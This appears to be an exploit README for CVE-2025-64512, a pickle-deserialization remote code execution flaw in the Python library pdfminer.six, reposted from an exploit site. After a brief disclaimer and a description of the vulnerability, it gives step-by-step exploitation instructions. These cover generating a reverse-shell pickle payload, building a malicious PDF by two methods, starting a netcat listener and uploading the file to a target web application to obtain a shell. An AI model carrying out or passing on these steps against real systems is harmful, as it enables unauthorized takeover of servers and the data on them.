Exploit for Deserialization of Untrusted Data in Pdfminer Pdfminer.Six CVE-2025-64512

## https://sploitus.com/exploit?id=DBAD91B7-8B87-56D6-B2A5-E7447A7D0465
# CVE-2025-64512 - pdfminer.six Remote Code Execution (RCE)

[![CVE-2025-64512](https://img.shields.io/badge/CVE-2025--64512-critical-red)](https://nvd.nist.gov/vuln/detail/CVE-2025-64512)
[![CVSS 8.6](https://img.shields.io/badge/CVSS-8.6%20(High)-orange)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## WARNING – EDUCATIONAL USE ONLY
**This proof-of-concept is for authorized security testing and educational purposes only.**  
Use only on systems you own or have explicit written permission to test. The author is not responsible for any misuse or damage caused by this code.

---

## Description

**CVE-2025-64512** is a critical vulnerability in `pdfminer.six`, a popular Python library for extracting text and metadata from PDF files. The flaw allows **Remote Code Execution (RCE)** via insecure deserialization of pickle data when processing a malicious PDF.

- **Vulnerability Type**: Insecure Deserialization ([CWE-502](https://cwe.mitre.org/data/definitions/502.html))
- **CVSS 3.1 Score**: 8.6 (High)
- **Affected Versions**: pdfminer.six <= 20250506
- **Patched Version**: 20251107 and later

---

## Attack Vector

The vulnerability is commonly triggered through **file upload functionality** in web applications that use `pdfminer.six` to parse uploaded PDF documents (e.g., document management systems, reporting tools, profile picture uploads accepting PDFs).

---

## Exploitation Steps

### Step 1 – Generate the malicious pickle payload

Run `generate_pickle.py` to create `malicious.pickle.gz`, which contains your reverse shell payload.

```bash
python3 generate_pickle.py

Step 2 – Generate the exploit PDF
Choose one of the two available methods:

# Method 1: /Encoding path traversal (less reliable)
python3 method1_encoding_poc.py

# Method 2: /CMap deserialization (official CVE method – RECOMMENDED)
python3 method2_cmap_poc.py
Both scripts produce exploit.pdf, which references the malicious pickle file and triggers the deserialization flaw when processed.

Step 3 – Start your listener

nc -lvnp 4444

Step 4 – Upload and execute

Navigate to the target web application's file upload feature.
Upload exploit.pdf via the web interface.
The application processes the PDF using a vulnerable version of pdfminer.six.
The pickle payload deserialises and executes, granting you a reverse shell.